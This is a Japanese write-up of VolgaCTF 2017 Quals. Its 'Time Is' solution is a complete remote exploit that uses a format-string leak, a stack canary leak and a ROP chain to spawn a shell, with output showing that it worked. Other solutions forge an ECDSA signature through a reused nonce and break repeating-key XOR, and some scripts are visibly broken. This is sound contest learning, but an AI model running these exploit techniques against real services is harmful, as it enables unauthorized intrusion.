VolgaCTF 2017 Quals 供養(Writeup)

VolgaCTF 2017 Qualsに参加。1150ptで51位。

VC (crypto 50)

Visual secret sharing scheme(Visual cryptography)

$ composite -compose difference A.png B.png C.png



PyCrypto (crypto/reverse 150)

20バイトのランダムバイト列を鍵にフラグを暗号化している。 暗号化を行っているpycryptography.soのアセンブリコードを読むと、単に20バイトごとに分けた各ブロックに対してXORを取っているだけであることがわかる。

.text:0000000000001190 loc_1190:                               ; CODE XREF: encrypt+9Bj
.text:0000000000001190                 mov     rax, rcx
.text:0000000000001193                 cqo
.text:0000000000001195                 idiv    rsi             ; RAX, RDX = divmod(RCX, RSI)
.text:0000000000001198                 movzx   eax, byte ptr [r8+rdx] ; r8 = key
.text:000000000000119D                 xor     al, [rdi+rcx]   ; rdi = plaintext
.text:00000000000011A0                 mov     [rbp+rcx+0], al ; rbp = ciphertext
.text:00000000000011A4                 add     rcx, 1
.text:00000000000011A8                 cmp     rbx, rcx
.text:00000000000011AB                 jnz     short loc_1190

ブロックの各文字について頻度分析を行い、最も多い文字がスペースに対応すると仮定して鍵を計算し、復号する。 すると、先頭がフラグフォーマットの VolgaCTF{ であることが推測できたので、この部分を確定させて再度復号する。 英文と思われる文字列が出てくるので、意味が通るように補完することで最終的な鍵が求まる。

from minipwn import *
from collections import Counter

with open('flag.enc', 'rb') as f:
    data = f.read()

nblocks = len(data) // 20
chunks = []
for i in xrange(nblocks):
    chunk = data[20*i:20*i+20]

s = ''
for i in xrange(20):
    chars = [chunk[i] for chunk in chunks]
    c, count = Counter(chars).most_common()[0]
    s += xor(c, ' ')

hint = 'VolgaCTF{'
s2 = xor(chunks[0], hint)
s = s2 + s[len(hint):]

for i, chunk in enumerate(chunks):
    print i, "%r" % xor(chunk, s)

hint = '1917, invented an ad'
s = xor(chunks[5], hint)

answer = ''
for chunk in chunks:
    answer += xor(chunk, s)

print answer
$ python test.py
Gilbert Vernam was an AT&T Bell Labs engineer who, in 1917, invented an additive polyalphabetic stream cipher and later co-invented an automated one-time pad cipher. Vernam proposed a teleprinter cipher in which a previously prepared key, kept on paper tape, is combined character by character with the plaintext message to produce the ciphertext. This are the fundamentals of how one-time pad works.
One-time pad is a way of encrypting messages which is done by XOR-ing each plaintext byte of message you want to encrypt with a key byte from a key stream which is long as the message itself.  If the key is truly random, is at least as long as the plaintext, is never reused in whole or in part, and is kept completely secret, then the resulting ciphertext will be impossible to decrypt or break. This makes the one-time pad information-theoretically secure which means that we can learn no information about the original message (apart from it's length) given the encrypted message. Everything seems perfect right? But why do we need all this modern ciphers then? Why do we need AES when there is a "perfect" cipher, fresh from 1917? Where's the catch?
One-time pad problems: In theory, this cipher is really secure, but in practice, there are few major drawbacks. First, the key needs to be truly random. You might think: "So what, there is a rand() C function that gives us random numbers, we can use that to generate our key stream!". In fact, the rand() C function is a pseudorandom generator which only gives seemingly random numbers, it will loop after some number of outputs and its output can be predicted which makes the function unreliable for security purposes. There are more implementations of random functions (pseudorandom generators) that are used in security but I will not go into that now, only thing to remember is that true randomness is very hard to achieve. One site that states that can generate true random numbers is RANDOM.ORG, its randomness comes from atmospheric noise. Another problem is that the key needs to be as long as the message itself, this makes it hard to use for very long messages because it takes long to generate the keys. I will show you an example of what can go wrong when you get lazy and use the same key to encrypt many messages.
Taken from: https://whitehatjourney.wordpress.com/2015/08/12/many-time-

Telemap (web/exploits 200)


Regarding Telemap task

Tonight it turned out that task bot token was compromised. As a result, bot was taken over by an unknown individual.
We have decided to shut down the bot but we will not close the task.
Some teams managed to solve the task before this had happened and got their points.
To equalise other teams, we have given you the flag (in hints) so that you can submit it and get points too.
This decision is final. We sincerely apologise for this situation.

Updated on Mar 25, 2017 7:55 AM  

Time Is (exploits 150)

ELF 64-bit、NX有効。

$ file time_is
time_is: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=34df22604978c4e32938d8692607a5c84e84e681, stripped

$ bash checksec.sh --file time_is
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   time_is

Format string bugとスタックバッファオーバーフロー脆弱性がある。

$ ./time_is
Enter time zones separated by whitespace or q to quit
AAAABBBB0x3.0x66666667.0xa3d70a3d70a3d70b.0x2ce33e6c02ce33e7|0xe40.0x7f154d3974a0.0x3b7d2114.0x985010|0x78.0x58d5f356.0x4242424241414141.0x70252e70252e7025|: 04:34
Enter time zones separated by whitespace or q to quit
*** invalid %N$ use detected ***
Aborted (core dumped)

$ (perl -e 'print "A"x0x900 . "\n"'; cat) | ./time_is
Enter time zones separated by whitespace or q to quit
@Enter time zones separated by whitespace or q to quit
See you!
*** stack smashing detected ***: ./time_is terminated

Aborted (core dumped)

入力文字列に8バイトの時刻文字列が連結されることに注意しつつ、libc leak、canary leak、ROPを行いシェルを起動する。 また、リモートでleakしたlibcのオフセットが手元にあるUbuntu 16.04.2 LTSの最新版glibcと一致したため、そのまま解くことができた。

from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

# s = connect_process(['./time_is'])

s = socket.create_connection(('time-is.quals.2017.volgactf.ru', 45678))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

recvuntil(s, 'quit\n')

# leak got_libc_start
got_libc_start = 0x603028

buf = '%p.' * 17 + '%s.' + '%p'
buf += p64(got_libc_start)

sendline(s, buf)
data = recvline(s)
data = data.split('.')[17]
addr_libc_start = u64(data.ljust(8, '\x00'))
print "[+] addr_libc_start = %x" % addr_libc_start

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep libc_start_main
0000000000020740 T __libc_start_main

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000045390 T __libc_system
0000000000137c20 T svcerr_systemerr
0000000000045390 W system

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18c177 /bin/sh

addr_system = addr_libc_start - 0x0000000000020740 + 0x0000000000045390
addr_binsh = addr_libc_start - 0x0000000000020740 + 0x18c177

# leak canary
buf = 'A' * 0x801

sendline(s, buf)
data = recvline(s)
canary = '\x00' + data[:7]
print "[+] canary = %r" % canary

# rop
addr_pop_rdi = 0x400b34

buf = 'A' * 0x808 + canary + 'A' * 0x38
buf += p64(addr_pop_rdi) + p64(addr_binsh) + p64(addr_system)

sendline(s, buf)

# quit
sendline(s, 'q')

$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='d7e5d131c8f69d397e824960'

[+] sha1('d7e5d131c8f69d397e824960\x00\x00\xf1*\x7f') = 6a078e3e4ce7e5cb1fcbbf6bffc39b2ee3ffffff
[+] addr_libc_start = 7f7f6d687740
[+] canary = '\x00\xd3\x86\xd8yy\xef2'
See you!
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
cat flag.txt

Angry Guessing Game (reverse 200)

ELF 64-bit。

$ file guessing_game
guessing_game: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=40d776f25ac166209af1980da87343aa1cc3e445, stripped





Curved (crypto 200)

ECDSA署名。 問題文から、"cat flag" に対応する適切な署名を作る問題であることが推測できる。

“exit” と “leave” に対する署名 (r, s) がそれぞれ与えられているが、rが共通となっている。 したがって、通常のDSA同様に秘密鍵が逆算できる。


\\ curve
p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
n = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
a = -3
b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
E = ellinit([a, b] * Mod(1, p))

Gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
Gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
G = [Gx, Gy]

\\ public key
QAx = 30250504889670926190523552041919585443829720544703724701649460613907050136658064509869867235332877475236603550112886
QAy = 10038053482213417689486839474228780499939202868344229289980977269014292942786826488866304498064504119374610238834648
QA = [QAx, QAy]

\\ signature of 'exit'
e1 = 10180943929472204041376359597227574108469221349104554484573736460602805890485877117432685835780787710291076463187571088306141436105029609403872488695821097
r1 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s1 = 34855921360927916070986212109819500225655651650874609025244135362773790814285754503375195745383314214044123943832259
\\ signature of 'leave'
e2 = 12195398262660441438176209028967466030981898250410793562737239825421543239341285267808310332478026241214888216083918256032431837893434411748441618036707814
r2 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s2 = 30319268030018639511551117879575625408953110962874264740912972950968883326846458408981004916433253051594118273327537

\\ calculate private key
Ln = 384
z1 = e1 >> (512 - Ln)
z2 = e2 >> (512 - Ln)

ds = Mod(s1-s2, n)
k = (z1-z2)/ds
dA = (s1*k-z1)/r1
dA = lift(dA)

QA_test = ellpow(E, G, dA)
print(QA == QA_test)

\\ sign 'cat flag'
e = 2534251488141321329485028256574528297332728342399684946592676206483227962138949081371581055249315498122105667347735231458012198223021772614828139070448869
z = e >> (512 - Ln)

k = random(n)
X = lift(ellpow(E, G, k))
r = Mod(X[1], n)
s = Mod((z + r * dA)/k, n)
S = lift([r, s])

\\ verify 'cat flag'
r = S[1]
s = S[2]
w = Mod(1, n)/s
u1 = lift(z * w)
u2 = lift(r * w)
X = elladd(E, ellpow(E, G, u1), ellpow(E, QA, u2))
print(r == lift(X[1]))

$ gp -q test.gp
[39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623, 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027]
from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

s = socket.create_connection(('curved.quals.2017.volgactf.ru', 8786))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

print recvuntil(s, ':\r\n')
message = '39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027 cat flag'
sendline(s, message)

$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='270a6f5df35e8e9a48af0efc'

[+] sha1('270a6f5df35e8e9a48af0efc\x00\x0fM\x83\x97') = e60627df5b89372b16f2b4a8c50978a33fffffff
Enter your command:

Enter your command:

KeyPass (reverse 100)

パスフレーズから鍵を生成するプログラムとAES-128-CBCで暗号化されたzipがある。 前者のアセンブリコードを読むと、パスフレーズの各文字のXORを取った値をseedとしてパスフレーズを生成していることがわかる。

  4004c3:       48 8b 56 08             mov    rdx,QWORD PTR [rsi+0x8]
  4004dd:       31 d2                   xor    edx,edx
  4004df:       eb 12                   jmp    4004f3 <__libc_start_main@plt+0x73>
  4004e1:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
  4004e8:       48 0f be 07             movsx  rax,BYTE PTR [rdi]
  4004ec:       48 83 c7 01             add    rdi,0x1
  4004f0:       48 31 c2                xor    rdx,rax
  4004f3:       48 39 cf                cmp    rdi,rcx
  4004f6:       75 f0                   jne    4004e8 <__libc_start_main@plt+0x68>  ; backward jump

seedは実質1バイトなので、取り得るパスフレーズの数は256通りとなり総当たりができる。 ただし、ヒントにOpenSSL 1.1.0eであることが書かれており、このバージョンを用意する必要がある。

$ wget https://www.openssl.org/source/openssl-1.1.0e.tar.gz
$ tar xvf openssl-1.1.0e.tar.gz
$ cd openssl-1.1.0e
$ ./config
$ make -j3
$ make test
$ cd ..
$ LD_PRELOAD="./openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so" ./openssl-1.1.0e/apps/openssl version
OpenSSL 1.1.0e  16 Feb 2017
from subprocess import Popen, PIPE

for i in xrange(256):
    s = chr(i)
        p = Popen(['./keypass', s], stdout=PIPE)
        key = p.stdout.read().rstrip()
    except TypeError:

    p = Popen(['./openssl-1.1.0e/apps/openssl', 'enc', '-d', '-aes-128-cbc', '-k', key, '-in', 'flag.zip.enc'], env={'LD_PRELOAD': './openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so'}, stdout=PIPE, stderr=PIPE)
    result = p.stdout.read()
    if p.returncode == 0:
        print "[+] key = %r" % key
        with open('flag.zip', 'wb') as f:
$ python test.py
[+] key = '\\M)R<.DDe/:;d>JZP'

$ unzip flag.zip
Archive:  flag.zip
 extracting: flag.txt

$ cat flag.txt

Bloody Feedback (web 100)

メッセージが送れる掲示板。 メール入力欄にSQL injection脆弱性がある。

<input class="form-control input-normal" id="InputEmail" name="email" placeholder="Email" disabled="disabled" type="email">



  • Share Point (web 200)
  • Corp News (web 300)
  • Not so honest (exploits 350)
  • Nested (forensics 200)

131チームが解けていたShare Pointを解けなかったのが残念。